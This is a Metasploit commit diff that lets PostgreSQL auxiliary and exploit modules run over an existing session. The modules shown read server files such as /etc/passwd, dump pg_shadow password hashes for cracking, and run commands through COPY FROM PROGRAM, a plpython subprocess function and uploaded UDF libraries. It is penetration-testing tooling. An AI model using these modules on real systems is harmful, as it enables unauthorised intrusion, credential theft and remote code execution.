Use PostgreSQL session type for modules

This commit is contained in:
sjanusz-r7 2024-01-24 13:47:22 +00:00
parent 9caa2fac17
commit 30fc29e0f5
12 changed files with 182 additions and 139 deletions

View File

@ -88,11 +88,6 @@ module Exploit::Remote::Postgres
# @return [:error] if some other error occurred
# @return [:connected] if everything went as planned
def postgres_login(opts={})
unless defined?(session).nil? || session.nil?
self.postgres_conn = session.client
return :connected
end
postgres_logout if self.postgres_conn
db = opts[:database] || datastore['DATABASE']
username = opts[:username] || datastore['USERNAME']
@ -125,7 +120,7 @@ module Exploit::Remote::Postgres
return :connection_refused
end
if self.postgres_conn
print_good "#{ip}:#{port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
print_good "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - Logged in to '#{db}' with '#{username}':'#{password}'" if verbose
return :connected
end
end
@ -134,20 +129,15 @@ module Exploit::Remote::Postgres
#
# @return [void]
def postgres_logout
ip = datastore['RHOST']
port = datastore['RPORT']
ip = self.postgres_conn.address
port = self.postgres_conn.port
verbose = datastore['VERBOSE']
# Don't log out if we are using a session.
if defined?(session) && session
print_status "#{ip}:#{port} Postgres - Skipping disconnecting from the session" if verbose
return
end
if self.postgres_conn
self.postgres_conn.close if(self.postgres_conn.kind_of?(Connection) && self.postgres_conn.instance_variable_get("@conn"))
self.postgres_conn = nil
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
end
print_status "#{ip}:#{port} Postgres - Disconnected" if verbose
end
# If not currently connected, attempt to connect. If an
@ -158,17 +148,16 @@ module Exploit::Remote::Postgres
# @param doprint [Boolean] Whether the result should be printed
# @return [Hash]
def postgres_query(sql=nil,doprint=false)
ip = datastore['RHOST']
port = datastore['RPORT']
unless self.postgres_conn
result = postgres_login
unless result == :connected
return { :conn_error => result }
return { conn_error: result }
end
end
if self.postgres_conn
sql ||= datastore['SQL']
vprint_status "#{ip}:#{port} Postgres - querying with '#{sql}'"
vprint_status "#{self.postgres_conn.address}:#{self.postgres_conn.port} Postgres - querying with '#{sql}'"
begin
resp = self.postgres_conn.query(sql)
rescue RuntimeError => e
@ -202,12 +191,11 @@ module Exploit::Remote::Postgres
# Otherwise, create a rowset using Rex::Text::Table (if there's
# more than 0 rows) and return :complete.
def postgres_print_reply(resp=nil,sql=nil)
ip = datastore['RHOST']
port = datastore['RPORT']
verbose = datastore['VERBOSE']
return :error unless resp.kind_of? Connection::Result
if resp.rows and resp.fields
print_status "#{ip}:#{port} Rows Returned: #{resp.rows.size}" if verbose
print_status "#{postgres_conn.address}:#{postgres_conn.port} Rows Returned: #{resp.rows.size}" if verbose
if resp.rows.size > 0
tbl = Rex::Text::Table.new(
'Indent' => 4,

View File

@ -29,6 +29,7 @@ module Msf::OptionalSession
Msf::Opt::RPORT(3306, false)
]
)
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
end
if framework.features.enabled?(Msf::FeatureManager::POSTGRESQL_SESSION_TYPE)
@ -37,8 +38,11 @@ module Msf::OptionalSession
Msf::OptInt.new('SESSION', [ false, 'The session to run this module on' ]),
Msf::OptString.new('DATABASE', [ false, 'The database to authenticate against', 'postgres']),
Msf::OptString.new('USERNAME', [ false, 'The username to authenticate as', 'postgres']),
Msf::Opt::RHOST(nil, false),
Msf::Opt::RPORT(5432, false)
]
)
add_info('New in Metasploit 6.4 - This module can target a %grnSESSION%clr or an %grnRHOST%clr')
end
if framework.features.enabled?(Msf::FeatureManager::MSSQL_SESSION_TYPE)

View File

@ -121,6 +121,14 @@ class Connection
end
end
def address
@conn.peerhost
end
def port
@conn.peerport
end
def close
raise "connection already closed" if @conn.nil?
@conn.shutdown

View File

@ -6,6 +6,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::OptionalSession
def initialize(info = {})
super(update_info(info,
@ -17,13 +18,15 @@ class MetasploitModule < Msf::Auxiliary
as well as read privileges to the target file.
},
'Author' => [ 'todb' ],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'SessionTypes' => %w[PostgreSQL]
))
register_options(
[
OptString.new('RFILE', [ true, 'The remote file', '/etc/passwd'])
])
]
)
deregister_options( 'SQL', 'RETURN_ROWSET' )
end
@ -37,6 +40,7 @@ class MetasploitModule < Msf::Auxiliary
end
def run
self.postgres_conn = session.client if session
ret = postgres_read_textfile(datastore['RFILE'])
case ret.keys[0]
when :conn_error
@ -44,13 +48,13 @@ class MetasploitModule < Msf::Auxiliary
when :sql_error
case ret[:sql_error]
when /^C58P01/
print_error "#{rhost}:#{rport} Postgres - No such file or directory."
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - No such file or directory."
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
when /^C42501/
print_error "#{rhost}:#{rport} Postgres - Insufficient file permissions."
vprint_status "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient file permissions."
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
else
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
end
when :complete
loot = ''
@ -59,10 +63,10 @@ class MetasploitModule < Msf::Auxiliary
loot << row.first
}
# No idea what the actual ctype will be, text/plain is just a guess
path = store_loot('postgres.file', 'text/plain', rhost, loot, datastore['RFILE'])
print_good("#{rhost}:#{rport} Postgres - #{datastore['RFILE']} saved in #{path}")
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
path = store_loot('postgres.file', 'text/plain', postgres_conn.address, loot, datastore['RFILE'])
print_good("#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{datastore['RFILE']} saved in #{path}")
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete."
end
postgres_logout if self.postgres_conn
postgres_logout if self.postgres_conn && session.blank?
end
end

View File

@ -5,6 +5,7 @@
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::OptionalSession
def initialize(info = {})
super(update_info(info,
@ -18,10 +19,9 @@ class MetasploitModule < Msf::Auxiliary
'References' =>
[
[ 'URL', 'www.postgresql.org' ]
]
],
'SessionTypes' => %w[PostgreSQL]
))
#register_options( [ ], self.class) # None needed.
end
def auxiliary_commands
@ -42,15 +42,16 @@ class MetasploitModule < Msf::Auxiliary
end
def run
self.postgres_conn = session.client if session
ret = postgres_query(datastore['SQL'],datastore['RETURN_ROWSET'])
case ret.keys[0]
when :conn_error
print_error "#{rhost}:#{rport} Postgres - Authentication failure, could not connect."
when :sql_error
print_error "#{rhost}:#{rport} Postgres - #{ret[:sql_error]}"
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{ret[:sql_error]}"
when :complete
vprint_good "#{rhost}:#{rport} Postgres - Command complete."
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Command complete."
end
postgres_logout if self.postgres_conn
postgres_logout if self.postgres_conn && session.blank?
end
end

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
include Msf::OptionalSession
def initialize
super(
@ -16,23 +17,34 @@ class MetasploitModule < Msf::Auxiliary
hashes from a Postgres server and stores them for later cracking.
},
'Author' => ['theLightCosine'],
'License' => MSF_LICENSE
'License' => MSF_LICENSE,
'SessionTypes' => %w[PostgreSQL]
)
register_options([
OptString.new('DATABASE', [ true, 'The database to authenticate against', 'postgres']),
])
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
def run_host(ip)
def username
session ? session.client.params['username'] : datastore['USERNAME']
end
def database
session ? session.client.params['database'] : datastore['DATABASE']
end
def password
# The session or its client doesn't store the password
session ? nil : datastore['PASSWORD']
end
def run_host(ip)
self.postgres_conn = session.client if session
# Query the Postgres Shadow table for username and password hashes and report them
res = postgres_query('SELECT usename, passwd FROM pg_shadow',false)
service_data = {
address: ip,
port: rport,
address: postgres_conn.address,
port: postgres_conn.port,
service_name: 'postgres',
protocol: 'tcp',
workspace_id: myworkspace_id
@ -41,11 +53,11 @@ class MetasploitModule < Msf::Auxiliary
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: datastore['PASSWORD'],
private_data: password,
private_type: :password,
username: datastore['USERNAME'],
username: username,
realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE,
realm_value: datastore['DATABASE']
realm_value: database
}
credential_data.merge!(service_data)
@ -68,10 +80,10 @@ class MetasploitModule < Msf::Auxiliary
case res[:sql_error]
when /^C42501/
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - Insufficient permissions."
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Insufficient permissions."
return
else
print_error "#{datastore['RHOST']}:#{datastore['RPORT']} Postgres - #{res[:sql_error]}"
print_error "#{postgres_conn.address}:#{postgres_conn.port} Postgres - #{res[:sql_error]}"
return
end
when :complete
@ -96,8 +108,8 @@ class MetasploitModule < Msf::Auxiliary
)
service_data = {
address: ::Rex::Socket.getaddress(rhost,true),
port: rport,
address: postgres_conn.address,
port: postgres_conn.port,
service_name: 'postgres',
protocol: 'tcp',
workspace_id: myworkspace_id
@ -133,6 +145,7 @@ class MetasploitModule < Msf::Auxiliary
end
print_good("#{tbl.to_s}")
postgres_logout if self.postgres_conn && session.blank?
end
end

View File

@ -28,7 +28,11 @@ class MetasploitModule < Msf::Auxiliary
end
def run_host(_ip)
print_status 'When targeting a session, only the current database can be dumped.' if session
if session
print_status 'When targeting a session, only the current database can be dumped.'
self.postgres_conn = session.client
end
pg_schema = get_schema
pg_schema.each do |db|
report_note(
@ -70,7 +74,7 @@ class MetasploitModule < Msf::Auxiliary
tmp_db = {}
tmp_db['DBName'] = database_name
tmp_db['Tables'] = []
postgres_login({ database: database_name })
postgres_login({ database: database_name }) unless session
tmp_tblnames = smart_query("SELECT c.relname, n.nspname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE n.nspname NOT IN ('pg_catalog','pg_toast') AND pg_catalog.pg_table_is_visible(c.oid);")
if tmp_tblnames && !tmp_tblnames.empty?
tmp_tblnames.each do |tbl_row|

View File

@ -7,6 +7,7 @@ class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::OptionalSession
# Creates an instance of this module.
def initialize(info = {})
@ -20,7 +21,8 @@ class MetasploitModule < Msf::Auxiliary
'References' =>
[
[ 'URL', 'https://www.postgresql.org/' ]
]
],
'SessionTypes' => %w[PostgreSQL]
))
register_options([ ]) # None needed.
@ -31,6 +33,7 @@ class MetasploitModule < Msf::Auxiliary
# Loops through each host in turn. Note the current IP address is both
# ip and datastore['RHOST']
def run_host(ip)
self.postgres_conn = session.client if session
user = datastore['USERNAME']
pass = postgres_password
do_fingerprint(user,pass,datastore['DATABASE'])
@ -76,34 +79,34 @@ class MetasploitModule < Msf::Auxiliary
begin
msg = "#{rhost}:#{rport} Postgres -"
password = pass || postgres_password
vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'")
vprint_status("#{msg} Trying username:'#{user}' with password:'#{password}' against #{rhost}:#{rport} on database '#{database}'") unless postgres_conn
result = postgres_fingerprint(
:db => database,
:username => user,
:password => password
)
if result[:auth]
vprint_good "#{rhost}:#{rport} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'"
print_status "#{rhost}:#{rport} Postgres - Version #{result[:auth]} (Post-Auth)"
vprint_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Logged in to '#{database}' with '#{user}':'#{password}'" unless session
print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:auth]} (Post-Auth)"
elsif result[:preauth]
print_good "#{rhost}:#{rport} Postgres - Version #{result[:preauth]} (Pre-Auth)"
print_good "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version #{result[:preauth]} (Pre-Auth)"
else # It's something we don't know yet
vprint_status "#{rhost}:#{rport} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
print_status "#{rhost}:#{rport} Postgres - Version Unknown (Pre-Auth)"
vprint_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Authentication Error Fingerprint: #{result[:unknown]}"
print_status "#{postgres_conn.address}:#{postgres_conn.port} Postgres - Version Unknown (Pre-Auth)"
end
# Reporting
report_service(
:host => rhost,
:port => rport,
:host => postgres_conn.address,
:port => postgres_conn.port,
:name => "postgres",
:info => result.values.first
)
if self.postgres_conn
report_cred(
ip: rhost,
port: rport,
ip: postgres_conn.address,
port: postgres_conn.port,
service_name: 'postgres',
user: user,
password: password,
@ -113,17 +116,17 @@ class MetasploitModule < Msf::Auxiliary
if result[:unknown]
report_note(
:host => rhost,
:host => postgres_conn.address,
:proto => 'tcp',
:sname => 'postgres',
:port => rport,
:port => postgres_conn.port,
:ntype => 'postgresql.fingerprint',
:data => "Unknown Pre-Auth fingerprint: #{result[:unknown]}"
)
end
# Logout
postgres_logout
postgres_logout if self.postgres_conn && session.blank?
rescue Rex::ConnectionError
vprint_error "#{rhost}:#{rport} Connection Error: #{$!}"

View File

@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Postgres
include Msf::Auxiliary::Report
include Msf::OptionalSession
# Creates an instance of this module.
def initialize(info = {})
@ -66,8 +67,8 @@ class MetasploitModule < Msf::Exploit::Remote
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2007-06-05'
'DisclosureDate' => '2007-06-05',
'SessionTypes' => %w[PostgreSQL]
))
deregister_options('SQL', 'RETURN_ROWSET')
@ -85,12 +86,14 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
self.postgres_conn = session.client if session
version = do_login(username,password,database)
case version
when :noauth; print_error "Authentication failed"; return
when :noconn; print_error "Connection failed"; return
else
print_status("#{rhost}:#{rport} - #{version}")
print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}")
end
fname = "/tmp/#{Rex::Text.rand_text_alpha(8)}.so"
@ -111,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote
rescue RuntimeError => e
print_error "Failed to create UDF function: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
postgres_logout if @postgres_conn && session.blank?
end
@ -121,7 +124,7 @@ class MetasploitModule < Msf::Exploit::Remote
def do_login(user=nil,pass=nil,database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
result = postgres_fingerprint(
:db => database,
:username => user,
@ -129,8 +132,8 @@ class MetasploitModule < Msf::Exploit::Remote
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:host => postgres_conn.address,
:port => postgres_conn.port,
:name => "postgres",
:info => result.values.first
)

View File

@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::OptionalSession
def initialize(info = {})
super(update_info(info,
@ -72,11 +73,11 @@ class MetasploitModule < Msf::Exploit::Remote
}
],
],
'DisclosureDate' => '2019-03-20'
'DisclosureDate' => '2019-03-20',
'SessionTypes' => %w[PostgreSQL]
))
register_options([
Opt::RPORT(5432),
OptString.new('TABLENAME', [ true, 'A table name that does not exist (To avoid deletion)', Rex::Text.rand_text_alphanumeric(8..12)]),
OptBool.new('DUMP_TABLE_OUTPUT', [false, 'select payload command output from table (For Debugging)', false])
])
@ -98,12 +99,8 @@ class MetasploitModule < Msf::Exploit::Remote
version = postgres_fingerprint
return false unless version[:auth]
vprint_status version[:auth].to_s
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/).flatten.first
if Rex::Version.new(version_full) >= Rex::Version.new('9.3')
return true
else
return false
end
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
Rex::Version.new(version_full) >= Rex::Version.new('9.3')
end
def login_success?
@ -127,15 +124,15 @@ class MetasploitModule < Msf::Exploit::Remote
drop_query = postgres_query(query)
case drop_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} dropped successfully"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully"
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
@ -144,15 +141,15 @@ class MetasploitModule < Msf::Exploit::Remote
create_query = postgres_query(query)
case create_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} created successfully"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} created successfully"
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
@ -162,20 +159,24 @@ class MetasploitModule < Msf::Exploit::Remote
copy_query = postgres_query(query)
case copy_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
if copy_query[:sql_error].match? 'execution expired'
print_warning 'Timed out. The function was potentially executed.'
return true
end
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
if copy_query[:sql_error] =~ /must be superuser to COPY to or from an external program/
print_error 'Insufficient permissions, User must be superuser or in pg_read_server_files group'
return false
end
print_warning "#{peer} - Unable to execute query: #{query}"
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} copied successfully(valid syntax/command)"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} copied successfully(valid syntax/command)"
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
@ -185,16 +186,16 @@ class MetasploitModule < Msf::Exploit::Remote
select_query = postgres_query(query)
case select_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} contents:\n#{select_query}"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} contents:\n#{select_query}"
return true
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
end
@ -203,15 +204,15 @@ class MetasploitModule < Msf::Exploit::Remote
drop_query = postgres_query(query)
case drop_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - #{tablename} dropped successfully(Cleaned)"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{tablename} dropped successfully(Cleaned)"
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
end
@ -235,8 +236,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
#vuln_version doesn't seem to work
#return unless vuln_version?
self.postgres_conn = session.client if session
return unless vuln_version?
return unless login_success?
print_status("Exploiting...")
if execute_payload
@ -244,6 +245,6 @@ class MetasploitModule < Msf::Exploit::Remote
else
print_error("Exploit Failed")
end
postgres_logout if @postgres_conn
postgres_logout if @postgres_conn && session.blank?
end
end

View File

@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Exploit::Remote::Postgres
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::OptionalSession
def initialize(info = {})
super(update_info(info,
@ -46,13 +47,10 @@ class MetasploitModule < Msf::Exploit::Remote
['Automatic', {}]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-01-01'
'DisclosureDate' => '2016-01-01',
'SessionTypes' => %w[PostgreSQL]
))
register_options([
Opt::RPORT(5432)
])
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
end
@ -69,11 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote
version_full = version[:auth].to_s.scan(/^PostgreSQL ([\d\.]+)/i).flatten.first
if Rex::Version.new(version_full) >= Rex::Version.new('8.0')
return true
else
return false
end
Rex::Version.new(version_full) >= Rex::Version.new('8.0')
end
def login_success?
@ -86,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Remote
print_error "#{peer} - Connection failed"
return false
else
print_status "#{peer} - #{status}"
print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{status}"
return true
end
end
@ -94,16 +88,16 @@ class MetasploitModule < Msf::Exploit::Remote
def load_extension?(language)
case load_procedural_language(language, 'LANGUAGE')
when :exists
print_good "#{peer} - #{language} is already loaded, continuing"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} is already loaded, continuing"
return true
when :loaded
print_good "#{peer} - #{language} was successfully loaded, continuing"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - #{language} was successfully loaded, continuing"
return true
when :not_exists
print_status "#{peer} - #{language} could not be loaded"
print_status "#{postgres_conn.address}:#{postgres_conn.port} - #{language} could not be loaded"
return false
else
vprint_error "#{peer} - error occurred loading #{language}"
vprint_error "#{postgres_conn.address}:#{postgres_conn.port} - error occurred loading #{language}"
return false
end
end
@ -114,16 +108,29 @@ class MetasploitModule < Msf::Exploit::Remote
case select_query.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_warning "#{peer} - Unable to execute query: #{query}"
elog(select_query[:sql_error])
missing_executable_match = select_query[:sql_error].match "FileNotFoundError[^\t]*"
unless missing_executable_match.nil?
print_error "#{missing_executable_match} - The target binary was not found on the target."
return false
end
if select_query[:sql_error].match? 'execution expired'
print_warning 'Timed out. The function was potentially executed.'
return true
end
print_warning "#{postgres_conn.address}:#{postgres_conn.port} - Unable to execute query: #{query}"
return false
when :complete
print_good "#{peer} - Exploit successful"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - Exploit successful"
return true
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
end
@ -139,23 +146,23 @@ class MetasploitModule < Msf::Exploit::Remote
load_func = postgres_query(query)
when /^python(?:2|3)?/i
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
query << "import subprocess, shlex\rsubprocess.Popen(shlex.split(c))\r"
query << "$$ LANGUAGE pl#{language}u"
load_func = postgres_query(query)
end
case load_func.keys[0]
when :conn_error
print_error "#{peer} - Connection error"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Connection error"
return false
when :sql_error
print_error "#{peer} Exploit failed"
print_error "#{postgres_conn.address}:#{postgres_conn.port} Exploit failed"
return false
when :complete
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
print_good "#{postgres_conn.address}:#{postgres_conn.port} - Loaded UDF (exec_#{func_name})"
return true
else
print_error "#{peer} - Unknown"
print_error "#{postgres_conn.address}:#{postgres_conn.port} - Unknown"
return false
end
end
@ -168,8 +175,11 @@ class MetasploitModule < Msf::Exploit::Remote
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
return :exists if match_exists
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
match_error = load_language[:sql_error].match(/(?:[Cc]ould not (?:open extension control|access) file|unsupported language)/m)
return :not_exists if match_error
# Default to something sane
:not_exists
end
def do_login(user, pass, database)
@ -191,6 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
self.postgres_conn = session.client if session
return unless vuln_version?
return unless login_success?
@ -204,6 +215,6 @@ class MetasploitModule < Msf::Exploit::Remote
break
end
end
postgres_logout if @postgres_conn
postgres_logout if @postgres_conn && session.blank?
end
end

View File

@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote
include Msf::Auxiliary::Report
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::OptionalSession
# Creates an instance of this module.
def initialize(info = {})
@ -58,7 +59,8 @@ class MetasploitModule < Msf::Exploit::Remote
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2009-04-10' # Date of Bernardo's BH Europe paper.
'DisclosureDate' => '2009-04-10', # Date of Bernardo's BH Europe paper.
'SessionTypes' => %w[PostgreSQL]
))
deregister_options('SQL', 'RETURN_ROWSET')
@ -77,12 +79,13 @@ class MetasploitModule < Msf::Exploit::Remote
end
def exploit
self.postgres_conn = session.client if session
version = do_login(username,password,database)
case version
when :noauth; print_error "Authentication failed"; return
when :noconn; print_error "Connection failed"; return
else
print_status("#{rhost}:#{rport} - #{version}")
print_status("#{postgres_conn.address}:#{postgres_conn.port} - #{version}")
end
fname = "#{Rex::Text.rand_text_alpha(8)}.dll"
@ -104,7 +107,7 @@ class MetasploitModule < Msf::Exploit::Remote
rescue RuntimeError => e
print_error "Failed to create UDF function: #{e.class}: #{e}"
end
postgres_logout if @postgres_conn
postgres_logout if @postgres_conn && session.blank?
end
@ -114,7 +117,7 @@ class MetasploitModule < Msf::Exploit::Remote
def do_login(user=nil,pass=nil,database=nil)
begin
password = pass || postgres_password
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}")
vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
result = postgres_fingerprint(
:db => database,
:username => user,
@ -122,8 +125,8 @@ class MetasploitModule < Msf::Exploit::Remote
)
if result[:auth]
report_service(
:host => rhost,
:port => rport,
:host => postgres_conn.address,
:port => postgres_conn.port,
:name => "postgres",
:info => result.values.first
)